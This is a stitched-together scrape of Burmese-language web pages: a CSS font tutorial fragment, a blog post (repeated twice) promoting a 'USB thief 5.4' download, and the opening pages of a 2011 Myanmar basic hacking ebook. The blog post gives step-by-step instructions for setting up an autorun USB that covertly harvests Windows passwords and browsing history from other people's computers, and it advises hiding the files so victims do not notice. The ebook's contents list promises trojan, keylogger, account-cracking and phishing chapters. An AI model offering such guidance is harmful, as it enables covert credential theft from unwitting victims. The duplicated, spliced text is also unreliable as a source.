တကယ္လို႕ ဖြန္႕ တစ္မ်ိဳးထက္ပိုလာရင္ ေကာ္မာ ခံေရးပါတယ္ ..
font-family: Zawgyi-one, Arial, Pussycat;
ေနာက္တစ္ခုက ဖြန္႕ နာမည္က စာလံုး တစ္လံုးထက္ပုိရင္ရင္ အဖြင့္အပိတ္ နဲ႕ ေရးပါတယ္..
font-family: Zawgyi-one, Arial, “ludida console”,sans-serif;
ps: font-family တြင္ အရင္ဆံုးလာေသာဖြန္႕ မွစ၍ ဖြန္႕ အားလံုးကုိ format ခ်ပါသည္ …
အေပၚကေရးထားေသာ style တြင္ Zawgyi-one ကိုအရင္ဆံုး format ခ်ပါတယ္ .. မရွိမွ ေနာက္ဒုတိယျဖစ္တဲ့ Arial ကုိ
format ခ်ပါတယ္…
<style>
p
{
font-family: Zawgyi-one, Arial;
color: red;
}
</style>
ဒါဟာဆိုရင္ စာပုဒ္တစ္ခုလံုးက ဖြန္႕ ေဇာ္ဂ်ီျဖစ္ၿပီး စာသားအေရာင္က အနီေရာင္ အျဖစ္ format ခ်ေပးမွာ ျဖစ္ပါတယ္ ….
Font-size
စာလံုးဆိုက္သတ္မွတ္ခ်င္ရင္သံုးတာပါ ….. property ေတြကေတာ့ေအာက္ပါအတိုင္းပါ ..
www.phoelapyae.com 51
51 ရာမညဖိုးလျပည့္
xx-small
x-small
small
medium
large
x-large
xx-large
smaller
larger
length
%
ေရးသားပံုကေတာ့ …
<style>
font-size: xx-small;
</style>
စသျဖင့္ အဲလုိမ်ိဳး ေရးသားပါတယ္ … သူရဲ႕ ဖြန္႕ တန္ဖိုးသတ္မွတ္ခ်က္ေတြကေတာ့ ေအာက္ကလင့္မွာ
ဖတ္ၾကည့္စမ္းသပ္နုိင္ပါတယ္ …
http://htmlhelp.com/reference/css/font/font-size.html
http://www.fonttester.com/
xx-small ဆိုရင္ ဘယ္လိုဆိုက္၊ medium ဆိုရင္ ဘယ္လိုဆိုက္ စသျဖင့္ ေလ့လာၾကည္ပါ ….
http://www.w3.org/TR/REC-CSS2/fonts.html#propdef-font-size ဒါကေတာ့ ဖြန္႕ ဆိုက္သတ္မွတ္ခ်က္ပါ …
Font Size Adjust
တကယ္လို႕ မိမိစိတ္ႀကိဳက ္ ဖြန္႕ ဆိုက္ကို ထည့္ခ်င္တယ္ဆိုရင ္ number ေတြန႕ဲ ေရးလို႕ ရပါတယ ္ …
<style>
www.phoelapyae.com 52
52 ရာမညဖိုးလျပည့္
font-size-adjust: 0.50;
</style>
မိမိစိတ္ႀကိဳက္ ဖြန္႕ Length သတ္မွတ္ခ်င္းကုိလဲ ရွင္းျပၿပီးသားပါ … em, ex, px တို႕ နဲ႕ ေရးနုိင္ပါတယ္ ..
http://www.w3.org/TR/REC-CSS2/syndata.html#length-units
ျပန္ေလ့လာၾကည့္ပါ …
Font style
Font style ကေတာ့ သံုးမ်ိဳးရွိပါတယ္ ….. normal , italic , oblique ဆိုၿပီး .. ေရးသားပံုကေတာ့ ..
<style type="text/css">
h1 {font-style: italic}
h2 {font-style: normal}
p {font-style: oblique}
</style>
Output ကုိထုတ္ၾကည့္ပါက ဘယ္လို result ထြက္လဲဆိုတာ ၾကည့္ၿပီး သိနုိင္ပါတယ္ ... က်န္တာကိုေတာ့
ထပ္အေသးစိတ္မေဆြးေႏြးေတာ့ပါဘူး ... Font အပုိင္းကို ဒီေလာက္ပဲေဆြးေႏြးပါ့မယ္ .. လြယ္ပါတယ္ ...

Wednesday, January 23, 2013

Hacking စိတ္၀င္စားသူေတြအတြက္ လက္ေဆာင္ တစ္ခုေပးခ်င္တယ္။

USB thief 5.4
10 Comments »
သိၿပီးသားလူေတြလည္းပါပါလိမ္႔မယ္။ အားစိုက္ထုတ္စရာ မလိုပဲ သူမ်ားရဲ႕ security ေတြလိုခ်င္သူေတြအတြက္ ေတာ္ေတာ္ကို မိုက္ပါတယ္။ USB thief တဲ႔ USB(flash drive) ကို ကြန္ပ်ဴတာမွာ ထိုးလိုက္ရံုနဲ႔ သူ႔ရဲ႕ လက္ရိွသံုးေနတဲ႔ windows user password, Internet History ေတြ Video ၾကည္႔ထားတဲ႔ မွတ္တမ္းေတြ၊ အမ်ားႀကီးဗ်ာ ကြန္ပ်ဴတာ အသံုးျပဳမႈ မွတ္တမ္းေတြအားလံုး USB drive ထဲ ပါလာပါလိမ္႔မယ္။ စိတ္၀င္စားစရာ ေကာင္းမွာပါေနာ္။ အေသးစိတ္ေျပာျပပါ႔မယ္ ေအာက္က ဖိုင္ေလးကို ေဒါင္းလိုက္ပါ။ Windows XP , Vista ႏွစ္ခုစလံုးမွာ အလုပ္လုပ္ပါတယ္။ Mirror 1 Fileden : Download USB thief 5.4
Mirror 1 Zshare : Download USB thief 5.4 rar ဖိုင္နဲ႔႔ပါ ။ ဇစ္ျဖည္လိုက္ရင္ USB thief ဆိုတဲ႔ ဖိုဒါထဲမွာ Folder သံုးခုနဲ႔ file ႏွစ္ခု ရိွပါတယ္။ အဲဒီ ၅ ခုလံုးကို မိမိရဲ႕ Flash drive ထဲ ကူးထည္႔လုိက္ပါ။ ဘာဖိုဒါထဲမွ ထပ္မထည္႔ပါနဲ႔။ (ဥပမာ - မိမိကြန္ပ်ဴတာမွာ flash drive တပ္လုိက္ရင္ Drive J:\ အျဖစ္ျပတယ္ ဆိုပါစို႔။ Drive J:\ ကို ဖြင္႔လိုက္တာနဲ႔ ဖိုင္ ၅ ခုလံုး ျမင္ရပါမယ္။ ကေလးပါ နားလည္ေအာင္ ေျပာလိုက္တာပါ) ၿပီးရင္ ဖိုင္ ၅ ခုလံုးကို Hidden ေပးထားႏိုင္ပါတယ္။ (မေပးထားလည္းရပါတယ္) ကူးၿပီးရင္ USB drive ကို ျဖဳတ္ ။ ကြန္ပ်ဴတာ တစ္လံုးမွာ သြားထိုးၾကည္႔ပါ။ (မိမိကြန္ပ်ဴတာမွာပဲ ျဖစ္ျဖစ္ေပါ႔) ေအာက္ပါအတိုင္း ေပၚလာပါတယ္။ (Autorun မပိတ္ထားဘူး ဆိုရင္ေပါ႔) က်ေနာ္ အခုျပထားတဲ႔ ပံုစံအတိုင္း Ok ေပးလိုက္ရံုနဲ႔ မိမိရဲ႕ Windows user password က စလို႔ ကြန္ပ်ဴတာသံုးေနတဲ႔ History ေတာ္ေတာ္မ်ားမ်ား ပါသြားပါၿပီ။ ဘာေတြပါသြားလဲ သိခ်င္ရင္ Dump ဆိုတဲ႔ ဖိုဒါကို ဖြင္႔ၾကည္႔လိုက္ပါ။ ဒီလို USB ထိုးခဲ႔သမွ် ကြန္ပ်ဴတာေတြရဲ႕ Computer name နဲ႔ ဖိုဒါ ျမင္ရပါမယ္။ (ကြန္ပ်ဴတာတစ္လံုးကို ဖိုဒါတစ္ခု နဲ႔ ျမင္ရပါလိမ္႔မယ္။က်ေနာ္ ကြန္ပ်ဴတာ သံုးလံုးမွာ ထိုးခဲ႔တာပါ)
တစ္ခုကို ဖြင္႔ၾကည္႔လိုက္ပါ။ ေအာက္ပါအတိုင္း ျမင္ရပါတယ္။ ( ၁၉ ခု ျပေပးႏိုင္ပါတယ္ )
Networkpasswords ဆိုတာကို ႏွိပ္လိုက္ရင္ windows user passwords ကို ျမင္ရပါတယ္။ က်န္တာေတြကေတာ႔ ကိုယ္႔ဘာသာ ဆက္ေလ႔လာလိုက္ေနာ္။ ဖိုင္ ၅ ခုလံုးကို Hidden ေပးထားလိုက္ရင္။ ဒါေတြ ရိွေနတာ ဘယ္သူမွ မသိေတာ႔ပါဘူး။ ေတာ္ေတာ္မ်ားမ်ားက Hidden files ေတြကို Show မေပးထားၾကဘူးေလ။ အဲေလာက္ဆို ကလိ ခ်င္တဲ႔ လူေတြ သိေလာက္ပါၿပီေနာ္။ ဘယ္သူမွ စိတ္အေႏွာင္႔ အယွက္ျဖစ္ေအာင္ က်ေနာ္႔ပို႔စ္က ဒုကၡ မျဖစ္ေစဘူးလို႔ ယံုၾကည္ပါတယ္ဗ်ာ။ Hacking ၀ါသနာပါတဲ႔ Beginner ေတြ အတြက္ပါ။ ေပ်ာ္ရႊင္ပါေစဗ်ာ ......

USB thief 5.4
10 Comments »
Hacking စိတ္၀င္စားသူေတြအတြက္ လက္ေဆာင္ တစ္ခုေပးခ်င္တယ္။ သိၿပီးသားလူေတြလည္းပါပါလိမ္႔မယ္။ အားစိုက္ထုတ္စရာ မလိုပဲ သူမ်ားရဲ႕ security ေတြလိုခ်င္သူေတြအတြက္ ေတာ္ေတာ္ကို မိုက္ပါတယ္။ USB thief တဲ႔ USB(flash drive) ကို ကြန္ပ်ဴတာမွာ ထိုးလိုက္ရံုနဲ႔ သူ႔ရဲ႕ လက္ရိွသံုးေနတဲ႔ windows user password, Internet History ေတြ Video ၾကည္႔ထားတဲ႔ မွတ္တမ္းေတြ၊ အမ်ားႀကီးဗ်ာ ကြန္ပ်ဴတာ အသံုးျပဳမႈ မွတ္တမ္းေတြအားလံုး USB drive ထဲ ပါလာပါလိမ္႔မယ္။ စိတ္၀င္စားစရာ ေကာင္းမွာပါေနာ္။ အေသးစိတ္ေျပာျပပါ႔မယ္ ေအာက္က ဖိုင္ေလးကို ေဒါင္းလိုက္ပါ။ Windows XP , Vista ႏွစ္ခုစလံုးမွာ အလုပ္လုပ္ပါတယ္။ Mirror 1 Fileden : Download USB thief 5.4
Mirror 1 Zshare : Download USB thief 5.4 rar ဖိုင္နဲ႔႔ပါ ။ ဇစ္ျဖည္လိုက္ရင္ USB thief ဆိုတဲ႔ ဖိုဒါထဲမွာ Folder သံုးခုနဲ႔ file ႏွစ္ခု ရိွပါတယ္။ အဲဒီ ၅ ခုလံုးကို မိမိရဲ႕ Flash drive ထဲ ကူးထည္႔လုိက္ပါ။ ဘာဖိုဒါထဲမွ ထပ္မထည္႔ပါနဲ႔။ (ဥပမာ - မိမိကြန္ပ်ဴတာမွာ flash drive တပ္လုိက္ရင္ Drive J:\ အျဖစ္ျပတယ္ ဆိုပါစို႔။ Drive J:\ ကို ဖြင္႔လိုက္တာနဲ႔ ဖိုင္ ၅ ခုလံုး ျမင္ရပါမယ္။ ကေလးပါ နားလည္ေအာင္ ေျပာလိုက္တာပါ) ၿပီးရင္ ဖိုင္ ၅ ခုလံုးကို Hidden ေပးထားႏိုင္ပါတယ္။ (မေပးထားလည္းရပါတယ္) ကူးၿပီးရင္ USB drive ကို ျဖဳတ္ ။ ကြန္ပ်ဴတာ တစ္လံုးမွာ သြားထိုးၾကည္႔ပါ။ (မိမိကြန္ပ်ဴတာမွာပဲ ျဖစ္ျဖစ္ေပါ႔) ေအာက္ပါအတိုင္း ေပၚလာပါတယ္။ (Autorun မပိတ္ထားဘူး ဆိုရင္ေပါ႔) က်ေနာ္ အခုျပထားတဲ႔ ပံုစံအတိုင္း Ok ေပးလိုက္ရံုနဲ႔ မိမိရဲ႕ Windows user password က စလို႔ ကြန္ပ်ဴတာသံုးေနတဲ႔ History ေတာ္ေတာ္မ်ားမ်ား ပါသြားပါၿပီ။ ဘာေတြပါသြားလဲ သိခ်င္ရင္ Dump ဆိုတဲ႔ ဖိုဒါကို ဖြင္႔ၾကည္႔လိုက္ပါ။ ဒီလို USB ထိုးခဲ႔သမွ် ကြန္ပ်ဴတာေတြရဲ႕ Computer name နဲ႔ ဖိုဒါ ျမင္ရပါမယ္။ (ကြန္ပ်ဴတာတစ္လံုးကို ဖိုဒါတစ္ခု နဲ႔ ျမင္ရပါလိမ္႔မယ္။က်ေနာ္ ကြန္ပ်ဴတာ သံုးလံုးမွာ ထိုးခဲ႔တာပါ)
တစ္ခုကို ဖြင္႔ၾကည္႔လိုက္ပါ။ ေအာက္ပါအတိုင္း ျမင္ရပါတယ္။ ( ၁၉ ခု ျပေပးႏိုင္ပါတယ္ )
Networkpasswords ဆိုတာကို ႏွိပ္လိုက္ရင္ windows user passwords ကို ျမင္ရပါတယ္။ က်န္တာေတြကေတာ႔ ကိုယ္႔ဘာသာ ဆက္ေလ႔လာလိုက္ေနာ္။ ဖိုင္ ၅ ခုလံုးကို Hidden ေပးထားလိုက္ရင္။ ဒါေတြ ရိွေနတာ ဘယ္သူမွ မသိေတာ႔ပါဘူး။ ေတာ္ေတာ္မ်ားမ်ားက Hidden files ေတြကို Show မေပးထားၾကဘူးေလ။ အဲေလာက္ဆို ကလိ ခ်င္တဲ႔ လူေတြ သိေလာက္ပါၿပီေနာ္။ ဘယ္သူမွ စိတ္အေႏွာင္႔ အယွက္ျဖစ္ေအာင္ က်ေနာ္႔ပို႔စ္က ဒုကၡ မျဖစ္ေစဘူးလို႔ ယံုၾကည္ပါတယ္ဗ်ာ။ Hacking ၀ါသနာပါတဲ႔ Beginner ေတြ အတြက္ပါ။ ေပ်ာ္ရႊင္ပါေစဗ်ာ ......

ြျမန္မာဟက္ကာ လက္စြဲ



WWW.MYANMARHACKING.COM
2011
Myanmar Basic Hacking
ebook
Basic Hacking
Kglay (blind.heart7@gmail.com)
W W W . M Y A N M A R H A C K I N G . C O M
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 2
Contents
1…Introduction----------------------------------------------------------------- 6
What is a hacker?
How many types of hackers are there in the world?
What do black hackers do?
What do white hackers do?
How many rows are there in Hackers world?
What does it take to become a hacker?
2…Programming---------------------------------------------------------------- 11
Do I need it?
Where should I start?
3…Linux--------------------------------------------------------------------------- 14
What is Linux?
4…Malware---------------------------------------------------------------------- 16
What is Malware?
Definitons…
Creating a malicious program with ProRat
How to prevent from Malware
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 3
5…Hacking window password--------------------------------------------- 24
Cracking window password
How to prevent window password from changing
Changing window password while using computer
6…Password-------------------------------------------------------------------- 27
Hacking gmail password with software
Hacking facebook account with software
7…Key-logging------------------------------------------------------------------ 30
About keyloggers(KGB)
KGB Keylogger
Installing KGB Keylogger
Using KGB keylogger
Preventing from keylogger
8…Phishing----------------------------------------------------------------------- 39
How to make a basic phshing page
Preventing Phishing
9… BYE ### BYE ---------------------------------------------------------------- 42
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 4
စာေရးသူရဲ့စကား…
ကၽြန္ေတာ္ဟာ နည္းပညာေလာကထဲကို၀င္ေရာက္လာထဲက ေရကုန္ေရခန္းေလ့လာဖို႔…..
ဆံုးျဖတ္ျပီးသားပါ။လက္ရွိအခ်ိန္ထိလဲေလ့လာေနဆဲပါ။ေနာက္တစ္ခုက ကၽြန္ေတာ္သိသေလာက္ကို…
တျခားေလ့လာေနတဲ့လူေတြလဲ သိနိုင္ေအာင္ ဒီလို စာအုပ္ေလးေတြေရးျပီးေတာ့ online ေပၚမွာ ျဖန္႕ဖို႔
စိတ္ကူးရွိခဲ့ပါတယ္။ဒီစာအုပ္ကေတာ့…ကၽြန္ေတာ္ေရးတဲ့ ပထမဆံုးစာအုပ္ျဖစ္ပါတယ္။
ဘာလို႔လဲဆိုေတာ့ ကၽြန္ေတာ္က အခုမွ 10တန္းေအာင္ကာစ 16ႏွစ္အရြယ္ ခ်ာတိတ္တစ္ေယာက္ပဲ
ရွိပါေသးတယ္။ေနာက္ပိုင္းမွာ ဒီ့ထက္ပိုမိုေကာင္းမြန္တဲ့ စာအုပ္ေတြကိုေရးသားျပီးေတာ့…သင္တို႔ဆီကို
ပို႔ေဆာင္ ေပးပါမယ္။
ကၽြန္ေတာ္ဒီစာအုပ္ကိုေရးတဲ့အခါမွာ…ကိုးကားျပီးေရးခဲ့တဲ့စာအုပ္ကေတာ့…
Hacker ေတြရဲ့ လက္စြဲ Hacker’s Underground Handbook ျဖစ္ပါတယ္။ဘာလို႔ ကိုးကားတာလဲဆိုေတာ့
ကၽြန္ေတာ့အေနနဲ႔အခုမွေရးတာျဖစ္တဲ့အတြက္…အတုယူစရာေလးေတြကိုရယူျပီးေတာ့ေရးပါတယ္။
ဒါေၾကာင့္ပါ။ျပီးေတာ့ Handbook ထဲကအေၾကာင္းအရာေတြလဲ တစ္စိတ္တပိုင္းပါ၀င္ပါတယ္။
ဒါကေတာ့ ၀န္ခံခ်က္ပါ။
ထပ္ေျပာခ်င္တာကေတာ့…hacker ေတြအေနနဲ႔ ေလ့လာမႈကိုဒီတိုင္းရပ္ထားလို႔မရပါဘူး။
အခ်ိန္တိုင္းမွာ ကိုယ္ဘာေကာင္လဲဆိုတာ သူမ်ားသိေအာင္လုပ္ရပါမယ္။အဲလိုေျပာလို႔….
လူၾကားသူၾကားထဲမွာ `ေဟ့ေကာင္ေတြ ငါက Hacker ကြ မင္းတုိ႔ေကာင္ေတြ ေလာက္ေတာ့သနားတယ္´
လို႔ေအာ္ရင္ေတာ့ သိပ္မၾကာခင္မွာ သင္ဟာ go to the jail ျဖစ္သြားနိုင္ပါတယ္။ျမန္မာျပည္မွာေတာ့…
ဒီဥပေဒကသိပ္ေခတ္မစားေသးပါဘူး။ေနာက္ပိုင္းေတာ့ ပိုျမင့္လာမွာေသခ်ာပါတယ္။
အဓိက အခ်က္ကေတာ့ Hacker ဆိုတာ သိုသိုသိပ္သိပ္ေနတတ္ရမယ္ကိုယ့္ကိုေဆာ္ကားလာတဲ့လူေတြရွိရင္…
အေကာင္းဆံုးနည္းလမ္းေတြနဲ႔ ျပန္ျပီးေတာ့ Fight နိုင္ရပါမယ္။ဒါကေတာ့ ကၽြန္ေတာ့ရဲ့အျမင္ပါ။
ကၽြန္ေတာ့အေနနဲ႔ကေတာ့…ျမန္မာျပည္ကလူေတြကို gtalk နဲ႔ Q ရင္းအခ်ိန္မကုန္ေစခ်င္ပါဘူး။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 5
ဒီလိုေျပာလို႔ ကၽြန္ေတာ္ကဆရာၾကီးလားဆိုေတာ့ မဟုတ္ပါဘူး။ကၽြန္ေတာ္ကဘာမွမသိတဲ့ kglay ပါ
ကၽြန္ေတာ္တို႔ျမန္မာနိုင္ငံရဲ့ နည္းပညာက႑ၾကီးတိုးတက္လာေစခ်င္တာပါ။ဒီစာအုပ္က hacking အေျခခံ
ဆိုေတာ့ တျခားအေၾကာင္းေတြ သိပ္ေျပာလို႔မေကာင္းပါဘူး။
Hacker တစ္ေယာက္ရဲ့လိုအပ္ခ်က္ေတြကို ကၽြန္ေတာ့အျမင္နဲ႔ေျပာရရင္…
1…အခ်ိန္ေတာ္ေတာ္မ်ားမ်ားကို ေလ့လာျခင္းအတြက္သံုးေနရမယ္။(အဓိက)
2…problem တစ္ခုျဖစ္လာျပီဆိုရင္ ဘယ္လိုေျဖရွင္းရမယ္ဆိုတာကို ေသခ်ာစဥ္းစားမယ္။
3…မိမိကုိယ္တိုင္က software ေတြကို မဖန္တီးနိုင္ဘူးဆိုရင္ေတာင္…hacker ေတြဖန္တီးထားတဲ့
Software ေတြ tools ေတြ အေၾကာင္းကို ေသေသခ်ာခ်ာသိရပါမယ္။ဒါမွလဲ ဘာျဖစ္ရင္
ဘယ္ tool ကိုသံုးမယ္ဆိုတာသိနိုင္ပါမယ္။
4… အျမဲတမ္းသိုသိုသိပ္သိပ္ေနရမယ္။ အလကားေနရင္း ငါကြ Hacker လို႔ေအာ္ေနစရာမလိုဘူး။
Hacker ေတြအခ်င္းခ်င္းက ဒီေကာင္ဘယ္အဆင့္ရွိတယ္ဆိုတာကို နညး္လမး္နဲ႔စမ္းျပီးေတာ့သိနိုင္တယ္
5…Programming ပိုင္းကိုကၽြမ္းကၽြမ္းက်င္က်င္ အသံုးခ်နိုင္ရမယ္။
6…ဒီအခ်က္ကေတာ့ Hacker တိုင္းထားသင့္တဲ့စိတ္ထားေပါ့။
သူမ်ားကို ဒုကၡမေပးပါနဲ႔။ကၽြန္ေတာ္ဆိုရင္လဲ တကယ္ပါသူမ်ားကိုဒုကၡမေပးပါဘူး။
သူမ်ားကိုေတာ့ ဒုကၡသြားမေပးၾကပါနဲ႔…….
ကဲ ၾသ၀ါဒေတြ ေခၽြတာမ်ားသြားျပီ………………..ဖတ္လိုက္ၾကပါ အစ္ကိုတို႔ေရ…
Kglay(blind.heart7@gmail.com)
www.myanmarhacking.com
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 6
Chapter 1
Introduction
ဒီစာအုပ္ကို ဖတ္ျခင္းျဖင့္ သင့္အေနနဲ႔ Hacker တစ္ေယာက္ျဖစ္ဖို႔အတြက္ လမ္းစေလးေပၚလာ
နိုင္ပါတယ္။ဒီစာအုပ္မွာက Ethical hacker(လူ စိတ္ဓာတ္ရွိတဲ့ hacker ) တစ္ေယာက္ျဖစ္ဖို႔အတြက္ေလးပဲ
ေျပာျပနိုင္မွာပါ။
What is a hacker?
Hacker ဆိုတာဘာလဲ။Hacker ဆိုတာ ဘယ္လိုလူမ်ိဳးကိုေျပာတာလဲဆိုတာကေန စေျပာပါမယ္။
Hacker ဆိုတာက လူတစ္ေယာက္ပါပဲ။ဘယ္လိုလူလဲ ?။ သူက computer system ကိုကလိရတာၾကိဳက္တဲ့သူ
ျပီးေတာ့ computer ရဲ့ system ပိုင္းကို သာမန္ user တစ္ေယာက္ထက္ ပိုျပီးေတာ့ သိခ်င္တဲ့သူ။
Hacker ေတြဟာ computer system ပိုင္းေတြ ဘယ္လိုအလုပ္လုပ္သလဲဆိုတာကို အျမဲတမး္ရွာေဖြပါတယ္။
သူတို႔က ဘာလို႔ရွာတာလဲ? Computer system တစ္ခုခုကိုျပင္လိုက္ရင္ ဘာျဖစ္သြားမလဲ။ဒါေလးျပင္လိုက္ရင္
ဘာျဖစ္သြားမလဲ။ပိုျပီးေတာ့ ေကာင္းသြားမလား။ပိုျပီးေတာ့ဆိုးသြားမလား။အဲလိုမ်ိဳးေတြကို သိခ်င္တဲ့ သူေတြပါ။
Hacker တစ္ေယာက္ဟာ ညစ္ညမ္းတဲ့စိတ္ဓာတ္နဲ႔ hacking အလုပ္တစ္ခုကိုလုပ္ေတာ့မယ္ဆိုရင္…
သူလုပ္ရမွာက..2ခုပဲရွိပါတယ္။
1……..computer system ပိုင္းကို hack မွာလား
2……..webserver ကိုhack ျပီးေတာ့ သတင္းအခ်က္အလက္ေတြကိုယူမွာလား…
ဒါကေတာ့ တကယ့္ Hacker ၾကီးေတြလုပ္တာကိုေျပာတာပါ။ဟိုစပ္စပ္…ဒီစပ္စပ္ gmail account ေလး hack
Facebook account ေလး hack တဲ့ ႏွပ္ခ်ီးတူးေတြကိုေျပာတာမဟုတ္ပါဘူး။
အဲလို gmail account ေတြ facebook account ေတြ hack တယ္ဆိုတာ အရမ္းလြယ္ပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 7
Hack လို႔ရတဲ့ software ေတြဆိုတာ internet မွာ ပလူပ်ံေနတာပါပဲ။အဲဒီ့အေၾကာင္းကို ေနာက္မွေျပာတာေပါ့။
How many types of hackers are there in the world?
Hacker အမ်ိဳးအစား ဘယ္ႏွမ်ိဳးရွိသလဲ။ဒါကေတာ့ လူေတာ္ေတာ္မ်ားမ်ားသိမွာပါ။
Hacker ကို ေသေသခ်ာခ်ာခဲြၾကည့္ရင္ 2မ်ိဳးပဲရွိပါတယ္။
Black hat နဲ႔ white hat ပါ။တခ်ိဳ႕ေတြကေျပာတာကေတာ့ grey hat တဲ့။ဟီး…ဟုတ္ရင္လဲဟုတ္မွာေပါ့။
ဒါေပမယ့္ေသခ်ာခြဲရင္ 2မ်ိဳးပါ။
Black hat--- သူက ညစ္ညမ္းတဲ့စိတ္ထားရွိျပီးေတာ့…အမ်ားတကာကို ဒုကၡလိုက္ေပးတဲ့ hackerမ်ိဳးျဖစ္ပါတယ္
Black hat လိုမ်ိဳး hacker တစ္ေယာက္ျဖစ္ခ်င္တယ္ဆိုရင္ေတာ့…သင့္ရဲ့ ဘ၀ကို ေလ့လာျခင္း
ဆိုတဲ့ အပိုင္းထဲမွာပဲ ႏွစ္ျမဳပ္ထားရပါမယ္။programming အပိုင္းေတြကိုလဲ က်ယ္က်ယ္ျပန္႔ျပန့္
သိဖို႔လိုပါတယ္။
White hat---သူကေတာ့ အျဖဴေရာင္စိတ္ထားရွိတဲ့ hacker မ်ိဳးေပါ့။ဒီလို hacker ေတြက တစ္ခ်ိန္က်ရင္…
Computer ရဲ့ security , website ေတြရဲ့ security ပိုင္းေတြမွာ…profeesional ေကာင္း
တစ္ေယာက္ျဖစ္သြားတတ္ပါတယ္။ သူက လဲ black hacker နဲ႔ ထူးမျခားနားပါပဲ။
အခ်ိန္တိုင္းလိုလိုကို ေလ့လာေနဖို႔လိုအပ္ပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 8
What do Black Hackers do?
Black hacker ေတြ ဘာလုပ္သလဲ။သိခ်င္လား။သူတို႔အနားမွာသြားေနေလ။အကုန္သိရတယ္။ဟဲဟဲ
Black hacker ေတြက အစိုးရေတြရဲ့ website ေတြကိုဖ်က္တယ္။ဘဏ္ေတြရဲ့ network security ပိုင္းေတြကို
၀င္ေမႊတယ္။ျပီးရင္…(တျခားနိုင္ငံမွာေတာ့) credits card ေတြကို hack တယ္။ပိုက္ဆံယူတယ္။
သူတို႔ကို ေၾကးစားသေဘာနဲ႔ငွားျပီးေတာ့ လဲသံုးလို႔ရတယ္။
What do White hackers do?
White hackers ေတြကေတာ့ ရိုးသားတဲ့သူေတြေပါ့။သူတို႔က သူမ်ားေတြကို အကူအညီေပးမယ္။
ကၽြန္ေတာ္အေပၚက ေျပာခဲ့သလို professional security တစ္ေယာက္ျဖစ္လာတဲ့အတြက္…company ေတြ
အတြက္ အလုပ္လုပ္ေပးမယ္။ျပီးရင္ သူတို႔တတ္ထားတာေတြကို ျပန္လည္ေ၀မွ်မယ္(တခ်ိဳ႕ေသာသူမ်ားကိုသာ
ဆုိလိုသည္)။
ကၽြန္ေတာ္ေျပာခဲ့တာေတြက တကယ့္ hacker ၾကီးေတြကိုေျပာတာပါ။Hacker ၾကီးဆိုလို႔ ဘာေကာင္ၾကီးလဲ
လို႔ထင္မေနပါနဲ႔။ရိုးရိုးလူပါပဲ။ေနာက္ထပ္ hacker အမ်ိဳးအစားရွိတယ္ဗ်။
ဒါေပမယ့္ လူတိုင္းေတာ့သိပ္မသိဘူး…အျမင္ကပ္ပုဒ္မနဲ႔လိုက္ hack တဲ့ေကာင္ :)။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 9
How many rows are there in Hackers world?
Hacker အဆင့္အတန္းဘယ္ ႏွမ်ိဳးရွိသလဲ။ ရွင္းရွင္းေျပာရရင္ Hacker အဆင့္အတန္း 3မ်ိဳးရွိပါတယ္။
Script kiddies---(Tools user hacker) လို႔ေခၚပါတယ္။သူက်ေတာ့ hacker ထဲမွာ အဆင့္အနိမ့္ဆံုးပါပဲ။
သူက တျခား hacker ေတြထြင္ထားတဲ့ tools ေတြ softwares ေတြကိုသံုးျပီးေတာ့ hacker
အမည္ခံၾကတာပါ။သူတို႔က နညး္ပညာဗဟုသုတ ဘာမွကိုမသိတဲ့သူေတြေပါ့။
Intermediate---သူၾကေတာ့ hacking ပိုင္းေတြနညး္ပညာပိုင္းေတြကို ထိုက္သင့္သေလာက္သိတယ္။
Hacker programming ပိုင္းေတြကိုလဲ အကၽြမ္းတ၀င္ရွိတယ္။ဘယ္toolကဘယ္လိုအလုပ္လုပ္တယ္
ဆိုတာကိုသိပါတယ္။ဒါကေတာ့ ဒုတိယအဆင့္ေပါ့။ဒါေပမယ့္သူတို႔လဲပဲ တျခား hacker ေတြ
ထြင္ထားတဲ့ tools ေတြကိုသံုးျပီး hack ရပါတယ္။
Elite hacker--- သူကေတာ့ အျမင့္ဆံုးေပါ့ဗ်ာ။ Hacking tools အသစ္ေတြမ်ားစြာကိုထြင္တယ္။
ဖန္တီးတယ္။Hacking ပိုင္းေတြကိုကၽြမ္းက်င္တယ္။ပိုင္နိုင္တယ္။
System တစ္ခုလံုးကို ေျခရာလက္ရာမရွိ အကုန္အေပ်ာက္ သဲလြန္စပါမက်န္။
၀င္နိုင္ထြက္နိုင္ပါတယ္။တကယ္လို႔ သင္ဟာ Hacking ပိုင္းကိုေသေသခ်ာခ်ာေလ့လာမယ္
ဆိုရင္ ေနာက္ဆံုးမွာ မ်က္မွန္တပ္ရပါမယ္။အဲေလ…ဒီအဆင့္ကိုေရာက္ပါလိမ့္မယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 10
What does it take to become a hacker?
Hacker ျဖစ္ဖို႔ အခ်ိန္ဘယ္ေလာက္လိုမလဲ။
Hacker တစ္ေယာက္ျဖစ္ဖို႔ဆိုတာ မလြယ္ပါဘူး။ အလြယ္တကူနဲ႔လဲ ျမန္ျမန္မျဖစ္နိုင္ပါဘူး။
အပ္ခ်ေလာင္း ဥံဳဖြ ဆိုျပီးေတာ့လဲ hacker တစ္ေယာက္မျဖစ္နိုင္ပါဘူး။
မိမိေလ့လာနိုင္တဲ့ အခ်ိန္မ်ားလာေလေလ Hacker တစ္ေယာက္ျဖစ္ဖို႔အခြင့္အလမ္းေတြက နီးလာေလေလ
ပါပဲ။၁ႏွစ္လဲျဖစ္နိုင္သလို ၄၊၅ ၊၁၀ႏွစ္လဲျဖစ္သြားနိုင္ပါတယ္။
ေလ့လာတယ္ဆိုျပီးေတာ့ Gtalk နဲ႔တကမၻာလံုးကလူေတြကို Q ေနရင္ေတာ့…တသက္လံုးျဖစ္မွာမဟုတ္ပါဘူး
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 11
Chapter 2
Programming
Do I need it?
